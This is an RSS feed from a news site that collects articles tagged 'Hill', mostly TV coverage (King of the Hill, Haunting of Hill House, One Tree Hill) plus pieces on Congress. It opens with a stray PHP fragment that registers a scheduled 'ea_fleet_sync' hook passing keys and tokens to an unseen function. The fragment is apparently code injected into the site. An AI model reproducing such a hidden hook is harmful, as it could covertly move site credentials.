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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Hill – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 02 Sep 2022 01:17:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Hill – Brief News https://briefnews.eu 32 32 Mike Judge Has A Simple Formula For Writing A Good King Of The Hill Script https://briefnews.eu/mike-judge-has-a-simple-formula-for-writing-a-good-king-of-the-hill-script/ https://briefnews.eu/mike-judge-has-a-simple-formula-for-writing-a-good-king-of-the-hill-script/#respond Fri, 02 Sep 2022 01:17:59 +0000 https://briefnews.eu/mike-judge-has-a-simple-formula-for-writing-a-good-king-of-the-hill-script/

Now I’m not saying that the absence of “King of the Hill” is what got us in this mess, but since the show ended in 2010, America seems to have lost its collective mind. From Karens to Donalds and all the QAnon in between, what we need right now is for Hank Hill to shed a little light on the absurdity of our present day.

The satirical animated series, which ran from 1997 to 2010, examined a plethora of social issues through the perspective of small-town Texas rednecks. America’s favorite propane and propane accessory salesman Hank Hill was at the center of it all, like a well-intentioned Archie Bunker.

Hank was a principled, old-school conservative doing his best to adjust to a changing society. The show’s plots would place him in some of the most preposterous situations one could imagine. And he mostly handled it all with dignity. The dignity of, say, Lady Bird Johnson.

And though the formula for the animated series might be simple, it may have meant more to viewers than its creators ever realized.

Even In Texas, Hank Was A Fish Out Of Water

Mike Judge’s “King of the Hill” is like comfort food. When you turn it on, you know exactly what you’re going to get, and you know it’s going to make you feel good. Like a propane grill that you know is going to light every time and cook evenly.

The show made its fair share of social statements, but to a lesser degree than its animated contemporaries like “South Park” or “Family Guy.” Rather than biting satire, Judge used what has worked for live-action sitcoms for decades — the fish-out-of-water trope and observational comedy. Judge explained his simple formula to IGN, saying, “It’s usually putting Hank up against something really annoying and ridiculous in the modern world and just making it as annoying and ridiculous as possible.”

It helped that Hank was a conservative pragmatist during an era when society began to grow more progressive. In one episode, Hank’s affinity for outdated “traditional values” made it difficult to deal with a “new age” parenting style. Judge took what “new age” parenting might normally look like and made it as absurd as possible.

It’s a surprisingly simple formula for a show that ran for 13 seasons. But the show also used humor to address complex issues that are often difficult for people to talk about. Although there was nothing groundbreaking about the show’s formula, the impact of “King of the Hill” has been extensive.

‘The Last Bipartisan TV Comedy’

The premise for “King of the Hill” was rooted in reality, inspired by real people surrounding Judge in his north Dallas neighborhood. “I just had this image of just four guys with beers standing out in front of the fence, kind of like I used to see when I’d look out my kitchen window,” Judge said. “And I just drew them all saying, ‘Yep, yep, yep.'”

Despite Hank Hill’s conservative bent, the show mostly stayed away from explicit political messages. The legacy of “King of the Hill” isn’t that it avoided politics, but rather that it united viewers amid a rapidly growing political divide. The Atlantic called the show “the last bipartisan TV comedy,” noting that its characters emphasized humanity in a changing world. While the situations Hank Hill faced were absurd, his altruistic response to them made the show a comfort for us all.

How would “King of the Hill” play today, where every topic seems to get absorbed into part of a culture war? We might find out. According to ComicBook.com, Mike Judge and “King of the Hill” co-creator Greg Daniels have formed a new animation company, Bandera Entertainment. One of their projects in development is a “King of the Hill” revival. The show is slated to take place 15 years after the original series ended. In response, I think we can all agree in saying, “Yep, yep, yep.”

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]]> https://briefnews.eu/mike-judge-has-a-simple-formula-for-writing-a-good-king-of-the-hill-script/feed/ 0 City on a Hill Stars Aldis Hodge and Lauren E. Banks Break Down Decourcy and Siobhan’s Cough Syrup Standoff https://briefnews.eu/city-on-a-hill-stars-aldis-hodge-and-lauren-e-banks-break-down-decourcy-and-siobhans-cough-syrup-standoff/ https://briefnews.eu/city-on-a-hill-stars-aldis-hodge-and-lauren-e-banks-break-down-decourcy-and-siobhans-cough-syrup-standoff/#respond Tue, 06 Apr 2021 23:28:16 +0000 https://briefnews.eu/city-on-a-hill-stars-aldis-hodge-and-lauren-e-banks-break-down-decourcy-and-siobhans-cough-syrup-standoff/

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Whenever someone talks about Showtime’s crime drama City on a Hill, the conversations often focus on the intense confrontations between Jackie (Kevin Bacon) and Decourcy (Aldis Hodge).

While those brainy battles drive the show, the tension that is building between Decourcy and his wife Siobhan (Lauren E. Banks) is in many ways equally intriguing, if not more so. The chessboard that is their marriage took center stage on Sunday’s installment, titled “I Need a Goat.” In it, Siobhan argued with Decourcy about their plans to start a family.

She’s ready, and he’s not. The back-and-forth came to a head at a restaurant when Siobhan placed a bottle of Robitussin on the dinner table at a restaurant. According to Siobhan’s friend/doctor, if Decourcy takes Robitussin, or “‘tussin,” as it’s referred to on the street, it will help his sperm motility.

Of course, Decourcy, who had just come back to the table after bickering with a work foe, wanted nothing to do with the ‘tussin and gave his wife the best staredown City on a Hill has ever shown. The brilliantly executed dialogue-free rebuff was so intense, it unnerved the waiter and fans on Twitter alike, some of whom took Decourcy’s side and some of whom took hers.

City on a Hill Aldis Hodge as Decourcy“We didn’t spend much time rehearsing those scenes,” Hodge tells TVLine. “We simply played the honesty of it. Ever since the first season, improving their relationship and bringing more honesty into their reality has been one of my top priorities. Between the creative team listening and being collaborative and the director trusting us to give the performances the air they needed to breathe, we have what we have.”

Banks agrees and recalls laughing between takes to help keep things light off-camera. She also notes how the majority of folks taking Decourcy’s side on social media were men, and those supporting her character Siobhan were women.

“I’m laughing because the fellas on Twitter were not in support of Siobhan’s approach in this scene, while the ladies were of the mind that Siobhan was simply doing what needed to be done,” she says with a chuckle. “Siobhan and Decourcy agreed some time ago on starting a family, but they’re having trouble getting things moving. You know, connecting the dots, getting the job done, and it’s not for a total lack of trying.”

“It was pretty funny to shoot the scene, believe it or not. We laughed a lot between takes,” Banks continues. “However, the characters weren’t nearly having as much fun as the actors. Siobhan is focused on her mission, Operation Start a Family, while Decourcy is focused on his mission, Operation Take Down Jackie Rohr. And in the middle is a box of Robitussin.”

City on a Hill Siobhan Lauren E. BanksThe cough syrup scene also foreshadows more disruption in their happy home when Siobhan takes on a client that puts her in Decourcy’s professional crosshairs.

“I think this particular line of demarcation, though silly, carries a bit more weight, because it cites a motif you’ll continue to witness between Siobhan and Decourcy,” Banks says. “It’s the tug-of-war between the decisions and ideas that have the ability to move them forward towards their goals and dreams versus those that hold them back within their regrets and traumas.”

Siobhan later takes on Kelvin (Kameron Kierce) as a client as a favor to his mom Grace (The Deuce‘s Pernell Walker). Of course, neither Siobhan nor Grace know that Kelvin, though wrongfully profiled by the police, was involved with the shooting death of an 11-year-old girl. Making matters more complicated, having Kelvin as a client makes Siobhan opposing counsel for Decourcy.

“Kelvin is a kid Siobhan has watched grow up from afar, much in the same way that Grace once witnessed Siobhan grow up,” Banks explains. “Grace was an activist and organizer at the same time as [Siobhan’s mother] Eloise Quays-Hastings was very active in the community. Their personal connection, as well their current working relationship, is the basis for a trust and admiration Siobhan has for Grace. Making sure Kelvin has proper representation is what’s necessary to keep things moving, and that’s a position she’s equipped and ready to fill.”

And in the weeks to come, Siobhan’s decision will put a greater strain on her relationship with her husband. So much for that Robitussin.

“It definitely presents new challenges for them in their relationship and takes them through a completely unexpected journey,” Hodge adds. “And through that, we get to see a very unique perspective of how a couple can deal with life’s new challenges. The clear lines we normally don’t cross to keep a relationship healthy may now seem a bit blurry.”

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]]> https://briefnews.eu/city-on-a-hill-stars-aldis-hodge-and-lauren-e-banks-break-down-decourcy-and-siobhans-cough-syrup-standoff/feed/ 0 YOU Season 2: Haunting of Hill House Star Tapped as New Female Lead https://briefnews.eu/you-season-2-haunting-of-hill-house-star-tapped-as-new-female-lead/ https://briefnews.eu/you-season-2-haunting-of-hill-house-star-tapped-as-new-female-lead/#respond Wed, 30 Jan 2019 16:03:35 +0000 http://briefnews.eu/you-season-2-haunting-of-hill-house-star-tapped-as-new-female-lead/

Joe Goldberg, meet your next obsession.

YOU has tapped Haunting of Hill House breakout Victoria Pedretti to join Season 2 as the Netflix series’ new female lead, TVLine has learned. The actress — spoiler alert! — fills the void left by Elizabeth Lail, whose Beck died at the hands of Penn Badgley’s psycho-stalker Joe in the Season 1 finale.

Pedretti’s character, Love Quinn, is an aspiring chef who’s working as a produce manager in a high-end grocery store. Unlike her predecessor, she is uninterested in the world of social media, branding and self-promotion, focused instead on leading an interesting life. She is also tending to a deep grief — and when she meets Joe, she senses a shared knowledge of profound, life-changing loss.

On Hill House, Pedretti played ill-fated Crain family member Nell, whose tragic Season 1 death served as the centerpiece of 2018’s single best dramatic episode of TV.

Her casting on YOU comes as the failed Lifetime series has emerged as bonafide smash since moving to Netflix. According to data released earlier this month by Netflix, the show’s first season is “on track to be viewed by more than 40 million members in its first four weeks” on the streamer.

Production on Season 2 begins next month and is set to premiere later this year.

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]]> https://briefnews.eu/you-season-2-haunting-of-hill-house-star-tapped-as-new-female-lead/feed/ 0 Congress just got a bumper-crop of scientists. Meet the 10 new science whizzes on Capitol Hill. https://briefnews.eu/congress-just-got-a-bumper-crop-of-scientists-meet-the-10-new-science-whizzes-on-capitol-hill/ https://briefnews.eu/congress-just-got-a-bumper-crop-of-scientists-meet-the-10-new-science-whizzes-on-capitol-hill/#respond Fri, 04 Jan 2019 01:07:14 +0000 http://briefnews.eu/congress-just-got-a-bumper-crop-of-scientists-meet-the-10-new-science-whizzes-on-capitol-hill/ march for science coloradoDavid Zalubowski/AP

  • 10 newly elected scientists are representing Americans in the 116th Congress.
  • Eight of the new-comers are Democrats and two are Republicans.
  • Here’s what these engineers, doctors, and other scientists want to do in 2019. 

The 116th Congress was sworn in on Thursday, with 10 new scientists in the ranks. 

Many of the incoming science experts on the Hill hold medical degrees, have worked in healthcare, or have an intimate understanding of topics like nuclear energy or climate change. It’s a major boost in the science credentials of the US governing body, which still has only one PhD scientist and one PhD mathematician among the 535 members.

While there are no additional PhDs on this list of new-comers, the doctors, engineers, and energy wonks who joined Congress bring knowledge of science, technology, and healthcare.  

“Scientists are essentially problem-solvers,” Shaughnessy Naughton, president of 314 Action, a nonprofit political action committee dedicated to recruiting, training, and funding scientists and healthcare workers who want to run for political office, previously told Business Insider.

She said the new science-minded politicians will change the political conversation in Washington and “bring a much more nuanced and productive conversation to the healthcare debate,” while at the same time taking on environmental issues, cybersecurity, and election integrity.

“Who better to be tackling these issues than scientists?” she said. 

Here’s the list of new science whizzes representing Americans on the Hill: 

Computer programmer Jacky Rosen is one of Nevada’s two Democratic female senators. The former Congresswoman from the state’s 3rd District helped her suburban Las Vegas synagogue install a new solar array. Rosen says that cut the congregation’s energy bill by 70%.

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Industrial engineer Chrissy Houlahan, an air force veteran, represents Pennsylvania’s 6th District. Houlahan, who used to teach high school chemistry, said she’ll focus on making healthcare more affordable.

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Sources: Chrissy Houlahan for Congress, Business Insider

Ocean engineer Joe Cunningham, who squeaked out a victory in South Carolina’s coastal 1st District, wants to protect the coastline from offshore drilling.

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The 36-year-old told The Post and Courier that he’s “pumped” to get to work in DC and end the government shutdown.

“People in the 1st Congressional District have sent me up here to extinguish those flames of partisan hatred and political divide as opposed to pouring kerosene on it,” he said.


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What was the alternate title for Elseworlds that ended up getting abandoned? Is Jonah Hill preparing to play The Penguin in the DCEU? Want to hear some NSFW outtakes for Spider-Man: Into the Spider-Verse? Want a chance to attend the Birds of Prey premiere? When is the next draft of The Batman due? All that and more in this edition of Superhero Bits.

Now that the Elseworlds crossover is over, you can go behind the scenes of the third and final installment.

Sharknado star Ian Ziering is set for a key recurring role in the new Swamp Thing series on DC Universe.

See how teens react to the Avengers: Endgame teaser trailer and the Easter eggs that lie within the video.

The Elseworlds crossover in the Arrowverse was almost called Identity Crisis, but that was confusing.

Could Jonah Hill play The Penguin? Boss Logic thinks so and made this mock-up of what he might look like.

Marvel’s Runaways will now have an official post-show podcast dedicated to the second season on Hulu.

Boss Logic also created this poster for the recently announced Crisis on Infinite Earths crossover coming up.

The official synopses for the first three episodes of the fifth and final season of Gotham have been revealed.

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]]> https://briefnews.eu/superhero-bits-could-jonah-hill-be-the-penguin-spider-man-into-the-spider-verse-nsfw-outtakes-more/feed/ 0 Hill House's Tragic Love Story Unfolds Even Quicker Than You Thought https://briefnews.eu/hill-houses-tragic-love-story-unfolds-even-quicker-than-you-thought/ https://briefnews.eu/hill-houses-tragic-love-story-unfolds-even-quicker-than-you-thought/#respond Tue, 04 Dec 2018 18:09:13 +0000 http://briefnews.eu/hill-houses-tragic-love-story-unfolds-even-quicker-than-you-thought/

Warning: This story contains spoilers for The Haunting of Hill House Episode 5. 

Here’s something that’ll make you even sadder — if that’s possible — aboutThe Haunting of Hill House‘s Bent-Neck Lady and her beau: Nell and Arthur’s entire love story starts and ends within a quarter-hour, series creator Mike Flanagan points out to TVLine.

That means in roughly half the length of a broadcast sitcom, Victoria Pedretti’s Nell and Jordane Christie’s Arthur meet at a sleep clinic, fall in love, get engaged, find a helpful way to deal with her sleep paralysis, marry… and then tragically part when he suffers an aneurysm in the middle of the night, right as the Bent-Neck Lady appears in their bedroom.

Flanagan says he’s “thrilled” that the characters resonated so well with the audience, especially given how little the two actually are seen together in the series’ first season.

“Victoria and Jordane really made that love story come to life, and in a way that we really needed in order to feel the loss,” Flanagan says. “They did that in less than fifteen minutes of screen time. Over a 10-hour story, that’s an incredible testament to the actors.”

He adds that he, Christie and Pedretti “talked about how we had very little real estate to flesh out that relationship, given where the story needed them to go, and when,” Flanagan says. “I’m really glad that it worked.”

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]]> https://briefnews.eu/hill-houses-tragic-love-story-unfolds-even-quicker-than-you-thought/feed/ 0 The Pit Bull Lover Fighting Trump's Battles on Capitol Hill https://briefnews.eu/the-pit-bull-lover-fighting-trumps-battles-on-capitol-hill/ https://briefnews.eu/the-pit-bull-lover-fighting-trumps-battles-on-capitol-hill/#respond Wed, 28 Nov 2018 17:29:58 +0000 http://briefnews.eu/the-pit-bull-lover-fighting-trumps-battles-on-capitol-hill/

Getting any president’s agenda passed in Congress is difficult, but it’s even harder when the president sends out a tweet or does an impromptu television appearance where he completely upends his previously stated policy positions or delicate negotiations that were already underway. But that’s Donald Trump’s style. And, as the newly minted head of the White House’s legislative affairs team, it’s now Shahira Knight’s job to get a continually shifting agenda over the finish line in an increasingly hyperpartisan Congress.

The 47-year-old is used to being a part of intense, even frantic, negotiations from her Capitol Hill days. And she’s learned the president’s policy whims since arriving at the Trump White House at the dawn of the administration.

But after her predecessor, Marc Short, surprised many by resigning in July, Knight was thrust from deputy director of the National Economic Council (NEC) into this new role amid a government funding battle, a scandal-driven fight over Brett Kavanaugh’s nomination to the Supreme Court and the possible departure of deputy attorney general Rod Rosenstein, who oversees the special counsel investigation into the Trump campaign. All this while a multifront trade war escalates, and the Violence Against Women Act and the gargantuan Farm Bill still need to be reauthorized. “That’s certainly one of the hard things about it, is you are all of a sudden working on 10 different issues instead of a handful of issues,” Knight says in an exclusive interview.

She was a key player in negotiating the tax cut bill that has become Trump’s signature legislative achievement.

But in reporting this story, I spoke to several top appropriators who said Knight wasn’t actively engaged in the government funding negotiations, which included Senate Appropriations chairman Richard Shelby, R-Ala., telling me he’s never once spoken to her. After I sent partial transcripts of four of these interviews to the White House, the president’s communications team leaned on the GOP offices to paint a different picture of what their bosses had told me, including this: “From Shelby’s folks. ‘The Chairman speaks directly with the President on appropriations issues, and their staffs are in regular contact. Shahira has been nothing but helpful and engaged.’”

While her level of engagement at the Capitol is being disputed, we’re told she’s been busy working with her staff to make sure they’re on the same page in the transition to a new boss while spending about half of her days in meetings at the Capitol with senior staffers or key lawmakers before going home to field phone calls and catch up on emails. The work keeps her up until 1 or 2 a.m., but she’s still able to relax with an occasional glass of wine at night, a round of golf as often as possible and by helping rescue pit bulls.

After those few moments of relaxation, Knight is then thrust back into the perpetual twister of Trump’s Washington. And she’s playing the long game on issues like funding the wall on the Mexican border — an issue set to be put off until after the election, but which could cause a government shutdown in December. “We’re going to try again,” she says. “Border security is a priority for him, so we will definitely be working on that moving forward.”

Knight well knows the inner workings of both ends of Pennsylvania Avenue. Born in Egypt to parents who were veterans of the Arab League of Nations and the World Bank, Knight moved to the D.C. area when she was 3. She earned economics degrees from the University of Virginia (bachelor’s) and George Mason University (master’s). On Capitol Hill, she worked her way up to staff director for the House Ways and Means Committee, which oversees America’s byzantine tax code, and she was involved in the George W. Bush–pushed tax cuts of the early 2000s. Knight left the Hill to become a lobbyist, most recently for Fidelity Investments. She donated to Marco Rubio’s presidential campaign in late 2015, but by early 2017, she had decided to join the Trump White House to work under NEC director Gary Cohn on economic policy. She was a key player in negotiating the tax cut bill that has become Trump’s signature legislative achievement.

“She was an honest broker, always informed, serious, conscientious,” says Sen. Rob Portman, R-Ohio. “I think she’ll be good here because she knows the issues and is trustworthy. People will trust when she tells them ‘yes’ and tells them ‘no.’” Trust is a precious commodity in a town known for backstabbing, vicious lies and cutting gossip. And lawmakers see Knight’s role as the legislative liaison as a two-way street. “She’s at once someone who has not just the ability to persuade us but also to be able to take our message to the White House. She has good connections there too,” Portman says.

But Knight has also attracted some critics over the years, especially for the tax overhaul. Many Democrats — who may gain control of one or both chambers of Congress next year — were left bruised by what they say became a partisan law aimed at helping the nation’s wealthiest. “I think it was unfortunate because she’s somebody who really has had experience on the Hill, but she was absolutely disinterested in even a modest effort to try to make the tax reform bill focus on the middle class, not blow up the deficit, not harm Social Security and Medicare and create a bipartisan bill,” says Sen. Ron Wyden, D-Ore.

Wyden was also personally frustrated because he had worked out a bipartisan tax bill with former Sen. Dan Coats, R-Ind., who is now the director of National Intelligence. Wyden maintains Knight and the White House never seriously tried to reach across the aisle. The White House points out that senior officials, including Knight, went to numerous meetings with Democrats but a compromise was elusive. “There was quite a bit of outreach to Democrats, and so it wasn’t for a lack of trying,” Knight contends. “But at some point when we realized that none of them were going to be on board, we had to kind of focus on the folks who are willing to vote for it.”

While that tax bill squeaked by with only GOP support, any party-line strategies go out the window if Democrats capture the House — which would turn the White House’s already trying relationship with Capitol Hill on its head. Knight isn’t willing to talk publicly about what ifs. For now, she has to keep the government funded and rescue more pit bulls. You know, the easy stuff.

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]]> https://briefnews.eu/the-pit-bull-lover-fighting-trumps-battles-on-capitol-hill/feed/ 0 One Tree Hill Cast Reunites on Lifetime: Who Is (and Isn't) Down for a Revival? https://briefnews.eu/one-tree-hill-cast-reunites-on-lifetime-who-is-and-isnt-down-for-a-revival/ https://briefnews.eu/one-tree-hill-cast-reunites-on-lifetime-who-is-and-isnt-down-for-a-revival/#respond Fri, 23 Nov 2018 10:40:10 +0000 http://briefnews.eu/one-tree-hill-cast-reunites-on-lifetime-who-is-and-isnt-down-for-a-revival/

Seven of One Tree Hill‘s finest reunited on Thanksgiving — eight, if you include the one who dropped in via Skype — to look back on the drama’s past… and future?

Hosted by Paul Johansson (aka Dan Scott), ‘Tis the Season: A One Tree Hill Cast Reunion brought together Hilarie Burton (aka Peyton Sawyer-Scott), Danneel Ackles (aka Rachel Gattina), Antwon Tanner (aka Antwon “Skills” Taylor), Tyler Hilton (aka Chris Keller), Robert Buckley (aka Clay Evans), Bevin Prince (aka Bevin Mirskey) and Stephen Colletti (aka Chase Adams), many of whom starred in Lifetime’s The Christmas Contract, which premiered immediately prior to this reunion special.

And while the hour-long special was oozing with nostalgia — guys, remember when Pete Wentz was on this show? — the cast was also forced to answer the question all casts of beloved series must face in this day and age: Would anyone be down for a One Tree Hill revival?

Several cast members were ready to sign on the dotted line right then and there, but Burton proposed an alternative. “It would be a Christmas movie set in Tree Hill,” she said. “It would be great to have an excuse to go back to Wilmington and all be together again.” Echoed Johansson, “Our fans would love it. We could it for them.”

The actors also speculated about where their characters would be today: Burton thinks Peyton would be in rehab because “she had a lot of stuff going wrong,” though Prince — on a more optimistic note — thinks Peyton could have evolved into a life coach; Tanner thinks Skills would still be coaching basketball at Tree Hill High School; Hilton thinks Chris would still be on tour, “trying to sleep his way through every fan he has”; and Colletti believes that Chase would have evolved from bar manager to music venue owner.

Also, remember when the Tree Hill alumni tweeted (then deleted) those on-set photos from The Christmas Contract? It turns out that wasn’t merely a publicity stunt; as Ackles explained in the special, “We might have gotten in trouble for that.”

“I think it was Buckley’s idea!” Tanner recalled. (Sure, blame the guy who isn’t around to defend himself.) “We all took a photo in the background when no one was looking. We were like, ‘Let’s see if the fans catch on.’ So we all posted it at the same time, and the fans were like, ‘Oh my God, something’s happening!’”

Unfortunately, as Burton explained, “The film hadn’t been announced, so we had to take [the tweets] down, which created an even bigger buzz.”

Tell us: Would you be down for a One Tree Hill revival, or is it best to let sleeping (and heart-eating) dogs lie? And if you watched the reunion special, what was your favorite part? Drop a comment with all of your thoughts below.

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]]> https://briefnews.eu/one-tree-hill-cast-reunites-on-lifetime-who-is-and-isnt-down-for-a-revival/feed/ 0 Dozens of ‘Haunting of Hill House’ Hidden Ghosts Busted In New Video https://briefnews.eu/dozens-of-haunting-of-hill-house-hidden-ghosts-busted-in-new-video/ https://briefnews.eu/dozens-of-haunting-of-hill-house-hidden-ghosts-busted-in-new-video/#respond Sun, 04 Nov 2018 00:09:02 +0000 http://briefnews.eu/dozens-of-haunting-of-hill-house-hidden-ghosts-busted-in-new-video/ Haunting of Hill House Hidden Ghosts

Mike Flanagan‘s wonderful Netflix series The Haunting of Hill House has plenty of ghosts front-and-center. But there are even more specters hidden in the background. Flanagan has confirmed that there are hidden ghosts in almost every single episode of the series, and now, a video put together by IMDb has managed to spot 43 of them. You could say these hiding ghosts were…busted. (I’m sorry). Watch the Haunting of Hill House hidden ghosts video below. If you have yet to see the show yet, beware of possible spoilers.

Haunting of Hill House Hidden Ghosts

Did you spot the hidden ghosts peppered throughout The Haunting of Hill House? Some are very obvious – you see them peeking out of windows, or standing directly behind characters. But some are better hidden – more elusive, harder to spot, tucked away in the corner of the frame. Thankfully, this IMDb video is here to help. The makers of this video go so far as to say they’ve highlighted every hidden ghost in the series. That’s a pretty bold claim, but as they’ve managed to find 43 ghosts in total, they might be right. Perhaps Mike Flanagan will weigh-in at some point to confirm.

Some qualms here: while it’s fun to see all the spooks and specters highlighted, IMDb chose to score the entire video with some very goofy music that’s a bit distracting. They also count one ghost twice, and they highlight a ghost who isn’t hidden at all, because a character on screen reacts to it. So really, this should be called 41 Hidden Ghosts You Missed In The Haunting of Hill House.

Those complaints aside, I love this. It demonstrates the lengths director Mike Flanagan went to to make Hill House extra spooky. Even if you don’t notice the hidden ghosts, your eyes might register something out of place on the screen, which only heightens the creepiness subliminally. It’s a neat trick, and I imagine more horror filmmakers are going to start trying it going forward.

The Haunting of Hill House is a modern reimagining of Shirley Jackson’s legendary novel of the same name, about five siblings who grew up in the most famous hauntedhouse in America. Now adults, they’re reunited by the suicide of their youngest sister, which forces them to finally confront the ghosts of their own pasts… some which lurk in their minds… and some which may really be lurking in the shadows of the iconic Hill House.

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When Annabeth Gish agreed to join The Haunting of Hill House‘s cast, she didn’t know she was signing up to play a buttoned-up caretaker’s wife with a deep history related to the ghost-filled abode. She had no idea the horror-tinged drama would become such a buzzy success.

All she knew was that she’d worked with writer/director Mike Flanagan on a scary movie called Before I Wake. And if he was involved, she was in.

“He came around saying, ‘Hey, I have this role. I can’t show it to you, exactly. It’s very different from anything you’ve ever done before. It’s much more character-y. It’s not glamorous. Would you consider doing it, sight-unseen?’” she recalls. “And I was like, ‘Yes, because I think you’re a visionary.’”

Gish is also a fan of the Shirley Jackson novel on which the Netflix series is loosely based — and she says she and Flanagan discussed how the newest incarnation of Mrs. Dudley would use Rosalie Crutchley’s performance in the 1963 film adaptation as a starting point.

“We wanted her to be almost ghostly herself,” she says. “We wanted a tiny nod to the fact that she’s lived through all of these Hills, and the potential that you never really know. Like, is her daughter real? Is she real? What, exactly, is it?”

In the Q&A below, we picked Gish’s brain about all things Hill House. Topics included a cool visual that was a “happy accident,” the unique way one of her co-stars introduced himself and why in the world Clara Dudley would choose to stick around such a creepy place for so long.

TVLINE | Did you do any kind of special prep to get into Mrs. Dudley’s mindset?
It’s strange for me, because I’m not particularly religious in the fundamental sense. So you know, [it included] putting on a big shiny cross. Lynn Falconer, the costume designer, wanted very specific [pieces]. Like, my boots were almost from the 1860s, and it was just a strange, off wardrobe and texture that makes it seem like she’s…. where is she? [Laughs] It’s just creepy.

And yet in some of the scenes with Carla [Gugino], there’s even like a touch of the contemporary. Her language isn’t antiquated, but her energy is.

The Haunting of Hill HOuse Annabeth Gish Interview Mrs DudleyTVLINE | When I was rewatching, I noticed something in the scene where you and Carla are in the solarium with the sculptures. You’re holding paint cans in and you stop right in front of the angel sculpture, and it looks like Mrs. Dudley has angel wings. Given what we know about all of the other visual hints Mike Flanagan worked into the series, I assume this was no accident.
It was a coincidence.

TVLINE | Really?!
It was a happy accident, just in terms of my blocking and my timing and where I was stopping. And [Flanagan] was like, “Wait, don’t move, don’t move. Oh my God,” he said, “It’s crazy. It looks like you have angel wings.” And then we utilized that, but it was not intentional going into the scene.

TVLINE | Why do you think your character stays as one of the house’s caretakers when so many bad things have happened there, some of them to her?
I think there is always in Clara Dudley… I don’t want to expound on religion, but I think sometimes she clings very tightly to that because she even yet knows that the mystical is in this house. She says to Olivia, “You know, I wasn’t going to work for you, but when I found out there were children here…” And it’s a play on the word “housekeeper.” I mean, she’s the keeper of the house of secrets, and so therefore, there is some sort of contract she has with the dark side of the house. And I do think that the lure of the house has a power over people that she eventually succumbs to.

The Haunting of Hill House Annabeth Gish INterview Mrs DudleyTVLINE | Let’s talk about what the Dudleys go through in the end of the series. Their daughter is murdered and comes back as a ghost, then they make a pact with the people responsible for her death. It works, somehow — how do you, as an actress, make that happen?
There is something about the emotional significance, the way Flanagan and his writers wrote this, there was never, for me, a loss of feeling to play. I mean, the words are heightened. The sets and the energy are heightened. It makes you just feel it. Even though you know you’re on set and in Atlanta, you just know there’s some palpable feeling that is woven in. I’m sure you’ve read about the set, which was incredible. They built this insane, beautiful, three-story house. And you do feel — with all of the sculptures — that there was a weaving in of creepy. So, sometimes I would even protect myself with white light just because. You feel like you’re playing with the dark arts sometimes when you go there emotionally.

TVLINE | I read that Robert Longstreet, who plays Mr. Dudley, wrote you a letter before he met you. What was your reaction when you got it?
You know, I love it. Especially in this day and age… people lose their enthusiasm sometimes for what we do and so, it was very sweet and touching and immediately made me feel excited to work with him. And he had a playlist as well, like of the Dudleys’ songs.

TVLINE | What were some of the songs on the list?
Well, that would probably be for him if you’re talking to him. They were very evocative and painful songs. I love that. I love the enthusiasm and the passion that he brought to this, which was refreshing.

TVLINE | We don’t see the Dudleys together until the end of the series. Did you two talk about what kind of relationship they might have, like how they might be with each other when they weren’t at the house?
Yes, except sort of my Method-y process with her was that she was always very withholding from everyone. We see it when she comes [to Hill House] that night and when they find Olivia. Her hair is down, and she has a little more relaxed face. [Laughs] But I don’t think that they have this, you know, intimate hoedown in the backwoods of the Hill House.

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